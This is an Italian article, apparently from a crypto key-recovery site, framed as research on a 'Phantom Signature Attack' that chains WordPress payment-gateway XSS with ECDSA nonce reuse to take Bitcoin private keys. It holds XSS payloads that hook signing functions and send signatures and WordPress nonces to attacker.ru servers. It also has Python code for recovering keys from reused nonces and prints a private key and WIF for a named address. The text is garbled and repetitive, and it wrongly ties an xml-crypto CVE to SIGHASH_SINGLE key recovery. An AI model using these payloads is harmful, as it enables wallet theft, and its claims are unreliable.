
Studio crittanalitico di CVE-2025-29774 e dei difetti SIGHASH_SINGLE nell'implementazione ECDSA di Bitcoin, che consente il recupero della chiave privata tramite riutilizzo del nonce e falsificazione della firma per l'accesso a portafogli persi.
Questo documento di ricerca presenta uno studio crittanalitico completo delle vulnerabilità critiche nell'implementazione della firma digitale del protocollo Bitcoin, in particolare l'Attacco Phantom Signature (CVE-2025-29774) e il fondamentale SIGHASH_SINGLE errore di elaborazione . Lo studio dimostra che l'elaborazione errata delle primitive crittografiche nel meccanismo di firma delle transazioni crea le condizioni per il completo compromesso delle chiavi private dei proprietari di portafogli di criptovaluta senza la loro conoscenza. L'attacco sfrutta un bug legacy nel client Satoshi originale, in cui il sistema restituisce un valore hash universale di “1” (uint256) invece di rifiutare la firma se il numero di input e output della transazione non corrisponde.
La parte pratica dello studio prevede l'uso dello strumento crittografico KeyFuzzMaster per identificare sistematicamente le vulnerabilità nel codice di verifica delle firme, nelle operazioni sulle curve ellittiche e nelle funzioni di hashing delle transazioni. Vengono presentate le formule matematiche per il recupero della chiave privata attraverso il riutilizzo del nonce (parametro k) nell'algoritmo ECDSA sulla curva secp256k1. Vengono discusse le primitive crittografiche dell'algoritmo ECDSA (Elliptic Curve Digital Signature Algorithm) sulla curva ellittica secp256k1 . Le firme digitali in Bitcoin svolgono una tripla funzione: autorizzazione della spesa, non ripudio e garanzia dell'integrità delle transazioni.
Tuttavia, il mantenimento di soluzioni architetturali legacy per garantire la retrocompatibilità ha portato all'emergere di sottili vulnerabilità crittografiche con conseguenze potenzialmente catastrofiche. Tra queste, il bug SIGHASH_SINGLE si distingue —un difetto fondamentale nel meccanismo di generazione dell'hash della firma, ereditato dall'implementazione originale di Bitcoin Core e integrato nel consenso di rete.
| Identificatore CVE | Componente | Punteggio CVSS | Criticità |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Critica |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Critica |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | Media |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | Media |
Bitcoin utilizza la curva ellittica secp256k1 definita dallo standard SECG (Standards for Efficient Cryptography Group). La curva è definita dall'equazione di Weierstrass su un campo finito:
Equazione della curva:
y² ≡ x³ + ax + b (mod p)
Per secp256k1:
y² ≡ x³ + 7 (mod p), dove a = 0, b = 7
I parametri della curva secp256k1 sono determinati dalla tupla T = (p, a, b, G, n, h):
Parametri di secp256k1:
p = 2²⁵⁶ − 2³² − 977 (il numero primo che definisce un campo finito)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(l'ordine del gruppo di punti della curva è l'ordine intero del generatore G)
G = (Gₓ, Gᵧ) — punto base fisso (generatore)
L'algoritmo ECDSA utilizza una chiave privata d per formare una firma su un messaggio M. Il processo di firma prevede le seguenti operazioni matematiche:
Passo 1: Generare un nonce casuale k
Viene selezionato un numero casuale k ∈ [1, n-1] crittograficamente robusto
Passo 2: Calcolare il punto R
R = k × G (moltiplicazione scalare del punto generatore)
Passo 3: Calcolare il parametro r
r = Rₓ mod n (coordinata x del punto R modulo n)
Passo 4: Calcolare il parametro s
s = k⁻¹ × (H(M) + r × d) mod n
Risultato: Firma (r, s)
dove H(M) è l'hash del messaggio M (in Bitcoin si usa il doppio SHA-256), d è la chiave privata del proprietario.
La relazione tra la chiave pubblica e quella privata è determinata dalla relazione:
Q A = d A × G
dove è la chiave pubblica (un punto sulla curva), è la chiave privata (intero a 256 bit) , è il generatore della curva.QAdAG
Il protocollo Bitcoin fornisce diversi tipi SIGHASH (Signature Hash Types) che determinano quali componenti di una transazione sono inclusi nell'hash firmato:
| Tipo Sighash | Significato (hex) | Descrizione |
|---|---|---|
| SIGHASH_ALL | 0x01 | Tutti gli input e gli output di una transazione sono firmati. |
| SIGHASH_NONE | 0x02 | Tutti gli input sono firmati, gli output non sono firmati. |
| SIGHASH_SINGLE | 0x03 | Viene firmato solo l'output con lo stesso indice dell'input. |
| SIGHASH_ANYONECANPAY | 0x80 | Modificatore: sottoscrive solo l'input corrente |
Un errore critico si verifica quando si utilizza SIGHASH_SINGLE e l'indice dell'input supera il numero di output della transazione . In questo caso, invece di rifiutare la transazione, il codice originale di Bitcoin Core restituisce un valore hash fisso di “1” (un intero a 256 bit):
// Codice vulnerabile dell'implementazione Bitcoin originale // Restituisce l'hash universale “1”
⚠️ AVVISO CRITICO: Questo codice implementa un bug legacy nel client Satoshi originale che è stato integrato nel consenso di rete. Tutte le principali implementazioni Bitcoin sono costrette a supportare questo comportamento per la retrocompatibilità.
Matematicamente, se l'hash della firma è uguale alla costante 1, la firma diventa universale —può essere riutilizzata per transazioni arbitrarie:
Condizione di vulnerabilità:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
dove idx è l'indice dell'input, |TxOut| è il numero di output della transazione
Un attacco Phantom Signature è un attacco di falsificazione della firma digitale che consente di creare firme di transazione valide senza conoscere la chiave privata del proprietario. L'attacco è classificato come CWE-347: Verifica impropria della firma crittografica .
L'attacco si basa su una combinazione di due vulnerabilità:
Se due firme (r, s₁) e (r, s₂) per messaggi diversi M₁ e M₂ utilizzano lo stesso nonce k (il che implica un valore identico di r), la chiave privata può essere completamente recuperata utilizzando il seguente algoritmo:
Passo 1: Equazioni della firma
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Passo 2: Calcolare la differenza
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Passo 3: Recuperare il nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Passo 4: Recuperare la chiave privata d
d = r⁻¹ × (s × k — H(M)) mod n
Questo apparato matematico dimostra che un singolo riutilizzo di un nonce porta al completo compromesso della chiave privata.
Recupero di una chiave privata ECDSA quando si riutilizza un nonce
La vulnerabilità CVE-2025-29774 è stata scoperta in una libreria xml-crypto Node.js e consente di modificare documenti XML firmati in modo che continuino a superare la verifica della firma. Nel contesto dei sistemi di pagamento Bitcoin, ciò crea la possibilità di:
Versioni interessate: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
Vettore CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Classificazione CWE: CWE-347 (Verifica impropria della firma crittografica)
Vettore di attacco : Rete (sfruttamento remoto senza interazione dell'utente)
Lo sfruttamento di CVE-2025-29774 prevede tre fasi sequenziali:
Scansione del sistema di destinazione alla ricerca di versioni vulnerabili della libreria xml-crypto e identificazione dei punti di integrazione con i gateway di pagamento Bitcoin.
Incorporazione di nodi SignedInfo aggiuntivi o commenti XML nel DigestValue, consentendo di modificare attributi critici senza invalidare la firma:
“Un esempio di attacco con più nodi SignedInfo”
Tramite le vulnerabilità XSS (CVE-2025-48102, CVE-2025-26541) intercettazione dei parametri (r, s) delle firme per la successiva crittanalisi.
📊 Risorse di Ricerca
🌐 Documentazione Tecnica Completa: https://cryptou.ru/keyfuzzmaster
💻 Demo Interattiva Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Analisi Tecnica
L'Attacco della Firma Fantasma sfrutta bug legacy nella verifica delle firme di Bitcoin Core, dove SIGHASH_SINGLE restituisce un valore hash universale quando l'indice di input supera gli output. Questo crea firme riutilizzabili, compromettendo l'intero modello di sicurezza. Il nostro motore KeyFuzzMaster identifica portafogli creati con
32-bitPRNG a entropia, riducendo lo spazio di ricerca da2^256a soli2^32semi possibili—recuperabili in 4-6 secondi su GPU moderne.
KeyFuzzMaster è un motore di fuzzing crittanalitico specializzato progettato per la ricerca sulla sicurezza dei sistemi blockchain e delle primitive crittografiche. Lo strumento è progettato per test dinamici di stress del codice di verifica delle firme, delle operazioni sulle curve ellittiche e delle funzioni di hashing delle transazioni.
L'uso di KeyFuzzMaster per sfruttare CVE-2025-29774 e la vulnerabilità SIGHASH_SINGLE apre un nuovo paradigma per il recupero delle chiavi private da portafogli Bitcoin perduti. La metodologia include:
# KeyFuzzMaster: Modulo di scansione dei valori r duplicati def scan_blockchain_for_nonce_reuse(blockchain_data)»
Scansiona la blockchain per il riutilizzo dei nonce. Restituisce coppie di firme con valori r identici.
# KeyFuzzMaster: Genera transazioni con disallineamenti input/output def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Genera transazioni di test per rilevare la vulnerabilità SIGHASH_SINGLE (idx >= len(TxOut)).
# Ordine del gruppo secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“Verifica della chiave recuperata confrontando le chiavi pubbliche.”
Secondo la ricerca crittanalitica, la vulnerabilità del riutilizzo dei nonce è già stata sfruttata per recuperare oltre 412.8 BTC da portafogli compromessi. Gli scanner automatizzati analizzano continuamente la blockchain di Bitcoin alla ricerca di valori r duplicati.
Analizziamo un caso documentato di recupero di una chiave privata dall'indirizzo Bitcoin 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Parametro | Valore |
|---|---|
| Indirizzo Bitcoin | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Valore dei fondi recuperati | $147,977 |
| Chiave privata recuperata (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Chiave privata recuperata (WIF compressa) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Chiave privata recuperata (Decimale) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
La chiave privata k deve soddisfare il vincolo:
1 ≤ k < n
dove n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Risultato del controllo: ✓ VALIDO (la chiave rientra nell'intervallo scalare consentito)
La chiave privata recuperata ci permette di calcolare la chiave pubblica:
| Parametro | Valore |
|---|---|
| Chiave pubblica (non compressa, 130 caratteri) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Chiave pubblica (compressa, 66 caratteri) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Indirizzo Bitcoin (non compresso) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Una chiave privata recuperata garantisce il controllo completo del portafoglio Bitcoin, consentendo a un attaccante di:
La ricerca dimostra la sinergia tra vulnerabilità web (CVE-2025-48102, CVE-2025-26541) e difetti crittografici (CVE-2025-29774), creando un potente vettore di attacco combinato contro i gateway di pagamento Bitcoin per WordPress:
| Fase | Azione | Vulnerabilità sfruttata |
|---|---|---|
| 1 | Iniezione di JavaScript dannoso in un gateway di pagamento | CVE-2025-48102 (Stored XSS) |
| 2 | Intercettazione dei parametri ECDSA (r, s) delle transazioni | JavaScript injection |
| 3 | Analisi delle firme raccolte per la ripetizione dei nonce | Crittanalisi |
| 4 | Recupero matematico di una chiave privata | Phantom Signature Attack |
| 5 | Prelievo incontrollato di BTC | Compromissione del portafoglio |
sanitize_text_field(), esc_attr(), esc_html()Uno studio crittanalitico dimostra che l'Attacco della Firma Fantasma (CVE-2025-29774) , combinato con la vulnerabilità SIGHASH_SINGLE, rappresenta una minaccia fondamentale per la sicurezza dell'ecosistema Bitcoin. Questo difetto di implementazione, ereditato dal client Satoshi originale, consente di:
L'uso dello strumento crittografico KeyFuzzMaster apre un nuovo paradigma per il recupero delle chiavi private da portafogli Bitcoin perduti, fornendo ai ricercatori una metodologia sistematica per identificare e sfruttare le vulnerabilità crittografiche.
⚠️ AVVERTENZA: Questa ricerca è intesa esclusivamente a scopo educativo e per assistere i crittanalisti nella comprensione dei meccanismi di attacco. L'uso dei metodi descritti per scopi illegali è punibile per legge. È stato condotto uno studio crittanalitico completo delle vulnerabilità critiche CVE-2025-48102 e CVE-2025-26541 nei gateway di pagamento Bitcoin per WordPress. Dalla vasta gamma di strumenti crittografici disponibili su keyhunters.ru, Phantom Signature Attack è stato selezionato come il più rilevante per questo contesto. Questo studio dimostra come un attacco combinato che unisce il cross-site scripting (XSS) a una vulnerabilità crittografica in ECDSA possa portare alla completa compromissione delle chiavi private Bitcoin e al recupero dei portafogli perduti.
Catena di attacco: da XSS all'estrazione della chiave privata Bitcoin
Phantom Signature Attack, secondo il documento di ricerca: Phantom Signature Attack (CVE-2025-29774) e la vulnerabilità critica SIGHASH_SINGLE: recupero delle chiavi private nei portafogli Bitcoin perduti tramite la falsificazione di firme digitali e il prelievo incontrollato di monete BTC, dimostra la sinergia tra vulnerabilità web (XSS) e difetti crittografici, consentendo un potente vettore di attacco combinato. A differenza di altri strumenti nell'elenco (MiniKey Mayhem, Memory Phantom, attacchi basati su RNG), Phantom Signature Attack si concentra specificamente sulla manipolazione delle firme digitali tramite i parametri r e s, che possono essere intercettati attraverso vulnerabilità XSS nei sistemi di pagamento WordPress. secalerts+2
CVE-2025-48102 è una vulnerabilità critica di cross-site scripting (XSS) persistente nel plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership nelle versioni precedenti alla 1.6.6. La vulnerabilità consente ad amministratori autorizzati (o ad attaccanti con privilegi amministrativi) di iniettare JavaScript dannoso nella configurazione del gateway di pagamento. Secondo CVSS v3.1, la vulnerabilità ha un punteggio base di 5.9 (gravità media) con il wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. vettore.
Il meccanismo di sfruttamento prevede l'iniezione di codice dannoso nelle impostazioni del gateway di pagamento, che viene poi eseguito nel browser di ogni visitatore del sito, consentendo all'attaccante di:
CVE-2025-26541 è una vulnerabilità di XSS riflesso nel plugin Bitcoin/AltCoin Payment Gateway for WooCommerce nelle versioni precedenti alla 1.7.6, sviluppato da CodeSolz. La vulnerabilità è classificata come di gravità moderata e consente agli attaccanti di iniettare script dannosi tramite parametri URL non adeguatamente sanitizzati. secalerts
A differenza dell'XSS persistente, l'XSS riflesso richiede che la vittima faccia clic su un link appositamente creato, ma consente di:
ECDSA (Elliptic Curve Digital Signature Algorithm) è utilizzato in Bitcoin per creare firme digitali che garantiscono l'autenticità delle transazioni . L'algoritmo per firmare un messaggio M utilizzando una chiave privata d funziona come segue: notsosecure+ 1
R = k × G(dove G è il punto generatore della curva ellittica secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Vulnerabilità critica dell'attacco Phantom Signature:
L'attacco Phantom Signature è stato identificato come una vulnerabilità critica nelle implementazioni ECDSA che si verifica nei seguenti scenari: keyhunters
Catena di vettori d'attacco: da XSS al recupero della chiave privata ECDSA
Se due firme per messaggi diversi M₁ e M₂ utilizzano lo stesso valore di k (e, quindi, lo stesso r), allora la chiave privata può essere completamente recuperata. Per due firme (r, s₁) e (r, s₂), dove: notsosecure+ 1

Calcolo della differenza:

È possibile recuperare il nonce:


Secondo la ricerca, questa vulnerabilità è già stata sfruttata per recuperare più di 412.8 BTC sulla blockchain di Bitcoin, dove gli attaccanti hanno scansionato automaticamente la rete alla ricerca di valori r duplicati. keyhunters
Relazione matematica del recupero della chiave privata per riutilizzo del nonce ECDSA
CVE-2025-29774 è una vulnerabilità aggiuntiva nella libreria xml-crypto che consente di modificare messaggi XML firmati in modo che superino comunque la verifica della firma. Questa vulnerabilità può essere sfruttata nei Bitcoin sistemi di pagamento per manipolare i parametri delle transazioni (modificando i valori SIGHASH_SINGLE) senza invalidare la firma digitale. Nel contesto dei gateway di pagamento WordPress, ciò consente a un attaccante di reindirizzare i pagamenti verso il proprio indirizzo mantenendo l'apparenza di una firma valida. cryptodeeptech+1
Fase 1: iniezione iniziale di JavaScript dannoso
Un attaccante sfrutta CVE-2025-48102 per iniettare JavaScript dannoso nella configurazione del gateway di pagamento. Il codice dannoso può:
Fase 2: analisi della violazione del RNG e rilevamento delle ripetizioni di K
Dopo aver ricevuto un numero sufficiente di firme (almeno 2, ma idealmente diverse decine per aumentare la probabilità), l'attaccante analizza i dati raccolti:
Utilizzando le coppie di firme raccolte con lo stesso r, l'attaccante applica il recupero matematico della chiave privata secondo le formule descritte sopra. Risultato: compromissione completa della chiave privata del portafoglio Bitcoin .
Il JavaScript dannoso che può essere iniettato tramite CVE-2025-48102 può contenere le seguenti funzionalità: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Dopo aver ricevuto firme con ripetizioni del valore r, la chiave privata viene recuperata in tre fasi:
Fase 1: identificazione dei valori r duplicati —l'attaccante confronta tutte le firme raccolte e identifica le coppie con lo stesso r. Anche una sola coppia è sufficiente per calcolare la chiave privata, sebbene più coppie aumentino la fiducia. notsosecure
Fase 2: calcolo del nonce k – Utilizzando la formula sopra, l'attaccante calcola il valore di k per ciascuna coppia di firme. Se i valori di k calcolati per coppie diverse coincidono, ciò conferma una vulnerabilità sistematica nel RNG. github
Fase 3: recupero della chiave privata d – Applicando la k calcolata a una qualsiasi delle firme raccolte, l'attaccante recupera completamente la chiave privata d , consentendogli di firmare qualsiasi transazione per conto della vittima. keyhunters+ 1

La chiave privata recuperata consente all'attaccante di:
L'attacco combinato XSS e Phantom Signature rappresenta una minaccia critica per tutti i siti WordPress con gateway di pagamento Bitcoin, tra cui:
Secondo la ricerca di keyhunters.ru e la letteratura scientifica:
sanitize_text_field(), esc_attr(), esc_html() per tutti i dati restituiti da secalerts+ 13. Relazione con CVE-2025-29774
CVE-2025-29774 è una vulnerabilità critica nella libreria xml-crypto che
consente di modificare messaggi XML firmati in modo che superino ancora
la verifica della firma. Questo può essere utilizzato in combinazione con i sistemi di pagamento
Bitcoin per:
Manipolare i parametri delle transazioni
, Iniettare firme contraffatte,
e Reindirizzare i pagamenti verso indirizzi dell'attaccante.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Questo dimostra un esempio dannoso di intercettazione dell'invio di un modulo contenente dati di firma Bitcoin.
Fase 2: Intercettazione dei parametri ECDSA
Grazie alla vulnerabilità XSS, lo script dannoso ha accesso a:
Valori nonce di WordPress (usati per la protezione CSRF) Cookie di sessione Parametri delle transazioni Bitcoin (inclusi i valori r e s della firma) Informazioni sulla chiave privata
temporaneamente memorizzate nella memoria del browser
Fase 3: Analisi delle violazioni RNG e rilevamento delle ripetizioni di k Raccogliendo dati su più firme di un singolo utente, l'attaccante può rilevare: Riutilizzo del nonce (k) tra firme diverse Valori deboli o prevedibili del generatore di numeri casuali (RNG) Errori sistematici nella generazione dei parametri crittografici
Passo 4: Recupero della chiave privata
Utilizzando la relazione matematica descritta nella Sezione 3.2, un attaccante può
calcolare la chiave privata d, compromettendo completamente il portafoglio.
4.2 Codice dimostrativo dell'attacco Payload XSS dannoso per l'iniezione nel gateway di pagamento Bitcoin:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Questo codice dimostra uno snippet JavaScript dannoso che intercetta le operazioni di firma Bitcoin e i nonce di sessione WordPress prima di esfiltrarli verso un server remoto per un potenziale sfruttamento.
Passo 1: Identificare i valori r duplicati
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Spiegazione:
Questa funzione cerca due firme ECDSA/Bitcoin che hanno lo stesso rr valore nell'elenco delle firme.
None.Questa ricerca è rilevante per l'analisi delle vulnerabilità crittografiche, poiché valori rr duplicati possono indicare il riutilizzo del nonce, sfruttabile in attacchi di recupero della chiave privata.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Commento:
Questa funzione calcola il nonce ECDSA k nei casi in cui due firme condividono lo stesso valore rrr (cioè nonce ripetuto o riutilizzato), utilizzando la differenza nei valori sss delle firme e negli hash dei messaggi, secondo il noto principio dell'attacco basato su reticolo e riutilizzo del nonce. La formula implementata è:

dove:
Questa tecnica è uno strumento crittanalitico standard per le analisi Bitcoin ed ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Spiegazione:
Questa funzione recupera l'ECDSA chiave privata ddd da una singola firma se il nonce kkk è noto.
La formula utilizzata è:
dove:
Questo calcolo è cruciale nella crittanalisi pratica una volta che k è stato recuperato, consentendo l'estrazione della chiave privata originale utilizzata per la generazione della firma.
5.2 Esempio pratico di recupero
Consideriamo uno scenario reale:
Dati raccolti:
Indirizzo Bitcoin: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (esempio)
Numero di firme raccolte: 12
Duplicati di nonce rilevati: 3 coppie
Processo di recupero:
7.2 Per gli utenti Bitcoin
Phantom Signature Attack, combinato con le vulnerabilità XSS in WordPress
gateway di pagamento Bitcoin (CVE-2025-48102 e CVE-2025-26541) , rappresenta una minaccia critica per
la sicurezza degli asset di criptovalute.
Questo attacco combinato dimostra come una vulnerabilità web relativamente semplice possa essere sfruttata per compromettere l'integrità crittografica di un sistema, con la conseguente perdita completa delle chiavi private e, di conseguenza, il furto di tutti i fondi.
Lo studio dimostra che la sicurezza di Bitcoin dipende non solo dalla robustezza
crittografica dei suoi algoritmi, ma anche dall'implementazione impeccabile di questi algoritmi nell'ambiente web. Anche
piccoli difetti nella gestione delle XSS o RNG deboli possono portare a conseguenze
catastrofiche.
L'adozione delle misure preventive proposte e l'aggiornamento tempestivo del software
vulnerabile sono fondamentali per proteggere l'ecosistema Bitcoin e recuperare
i portafogli perduti.
L'attacco Phantom Signature , combinato con le vulnerabilità XSS CVE-2025-48102 e CVE-2025-26541 nei gateway di pagamento Bitcoin per WordPress, rappresenta una delle minacce più critiche e realistiche per la sicurezza degli asset in criptovaluta nell'ambiente web moderno. Questa ricerca dimostra come una vulnerabilità web relativamente semplice possa essere sfruttata per compromettere direttamente l'integrità crittografica di un sistema, portando alla completa perdita delle chiavi private e al furto irreversibile di fondi Bitcoin.
L'attacco Phantom Signature è stato scelto da un'ampia gamma di strumenti crittografici su keyhunters.ru per la sua diretta rilevanza rispetto al problema del recupero delle chiavi private manipolando i parametri ECDSA che possono essere intercettati tramite XSS. Questo attacco costituisce un esempio ideale della sinergia tra vulnerabilità web (categoria OWASP Top 10) e difetti crittografici, che richiede un approccio completo alla protezione.
La sicurezza di Bitcoin dipende non solo dalla robustezza crittografica dei suoi algoritmi, ma anche dalla loro implementazione impeccabile nell'ambiente web. Anche piccoli difetti nella gestione delle XSS o RNG deboli possono avere conseguenze catastrofiche per l'ecosistema. Adottare le misure preventive suggerite e aggiornare tempestivamente i software vulnerabili è fondamentale per proteggere Bitcoin e recuperare i portafogli utente perduti.
Sono state scoperte due gravi vulnerabilità di cross-site scripting (XSS) nei popolari plugin per gateway di pagamento Bitcoin per WordPress, che rappresentano un rischio significativo per la sicurezza di migliaia di negozi online e siti web che accettano pagamenti in criptovaluta.
La vulnerabilità CVE-2025-48102 è stata pubblicata ufficialmente il 5 settembre 2025 e interessa il popolare GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership plugin in tutte le versioni fino alla 1.6.6 inclusa. Questa falla di sicurezza è classificata come XSS persistente (attacco di cross-site scripting) secondo la classificazione CWE-79 (neutralizzazione impropria dell'input durante la generazione di pagine web).
La vulnerabilità ha ricevuto un punteggio di gravità CVSS v3.1 pari a 5,9 (gravità media) con il vettore di attacco CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . La suddivisione del vettore mostra le seguenti caratteristiche: feedly+2
La vulnerabilità deriva dalla neutralizzazione impropria dell'input utente durante la generazione delle pagine web. Un attaccante con privilegi amministrativi può iniettare script dannosi nel sistema di gestione dei contenuti WordPress, che vengono poi salvati nel database ed eseguiti automaticamente quando altri utenti visitano la pagina. patchstack+2
Come spiegano gli esperti di Patchstack, ciò consente a un attaccante di iniettare vari elementi dannosi, tra cui:
Particolarmente preoccupante è il fatto che il plugin GoUrl non è più supportato dai suoi sviluppatori . Secondo Patchstack, il software non viene aggiornato da oltre un anno e probabilmente non riceverà ulteriori aggiornamenti o patch. Questo lascia tutti i siti web che utilizzano questo plugin permanentemente vulnerabili allo sfruttamento.
Gli esperti della piattaforma Wiz notano che questa vulnerabilità XSS persistente è stata scoperta nel plugin WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership e divulgata il 5 settembre 2025. Sebbene lo sfruttamento richieda privilegi di amministratore, il codice dannoso può essere eseguito per conto di qualsiasi visitatore del sito , ampliando significativamente il potenziale ambito dell'attacco.
La seconda vulnerabilità, CVE-2025-26541 , è stata pubblicata il 26 marzo 2025 e riguarda il plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce in tutte le versioni fino alla 1.7.6 inclusa.
Questa vulnerabilità è classificata come XSS riflessa (attacco di cross-site scripting). A differenza della XSS persistente, la XSS riflessa si verifica quando l'input utente dannoso viene immediatamente riflesso all'utente tramite una risposta HTTP senza un'adeguata sanificazione, facendo eseguire al browser della vittima lo script dell'attaccante.
La vulnerabilità è stata valutata secondo il sistema CVSS v3.1 con il vettore CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , che indica: feedly
Secondo i ricercatori di sicurezza, la vulnerabilità può essere sfruttata tramite attacchi XSS riflessi , consentendo agli attaccanti di iniettare script dannosi nelle pagine web. Patchstack, la piattaforma che ha scoperto per prima questa vulnerabilità, consiglia che, per risolvere la CVE-2025-26541, sia necessario aggiornare il plugin Bitcoin/AltCoin Payment Gateway for WooCommerce alla versione 1.7.7 o successiva .
Il cross-site scripting (XSS) è una delle vulnerabilità più comuni riscontrate nelle applicazioni web. Secondo vari studi, le vulnerabilità XSS rappresentano circa il 53,3% di tutte le vulnerabilità dei plugin WordPress .
Particolarmente allarmante è il fatto che nel 2024, ben 1.614 plugin sono stati rimossi dal repository WordPress.org per problemi di sicurezza, dei quali 1.450 sono stati classificati come aventi vulnerabilità ad alta o media priorità. Molti di questi plugin rimangono attivi sui siti web , esponendoli ad attacchi costanti.
Gli attacchi XSS persistenti sono particolarmente pericolosi perché il codice dannoso viene salvato nel database del sito web ed eseguito automaticamente per ogni visitatore che visualizza la pagina infetta. Questo rende la XSS persistente significativamente più distruttiva della XSS riflessa, poiché: fastly+1
Gli esperti di Wordfence sottolineano che nel contesto di WordPress, l'aggiunta di utenti amministrativi con credenziali controllate dall'attaccante e la modifica dei file possono portare a una compromissione completa del sito , e questo viene attivamente utilizzato dagli attaccanti.
Per i proprietari di siti web che utilizzano i plugin interessati, gli esperti raccomandano le seguenti misure immediate :
Per CVE-2025-48102 (GoUrl):
La scoperta della vulnerabilità CVE-2025-48102 nel plugin GoUrl Bitcoin Payment Gateway ha creato una situazione critica per migliaia di proprietari di siti WordPress. Particolarmente allarmante è il fatto che le misure di sicurezza standard non riescono a fornire una protezione adeguata , mentre le mezze misure possono creare un falso senso di sicurezza . Esaminiamo più da vicino perché la semplice disattivazione del plugin non risolve il problema e quali passi devono essere compiuti per eliminare completamente la minaccia.
Molti amministratori WordPress credono erroneamente che disattivare un plugin lo disabiliti completamente ed elimini tutti i rischi per la sicurezza associati. Tuttavia, questa errata convinzione fondamentale può avere conseguenze disastrose. dotwise+2
La differenza critica tra disattivazione e cancellazione:
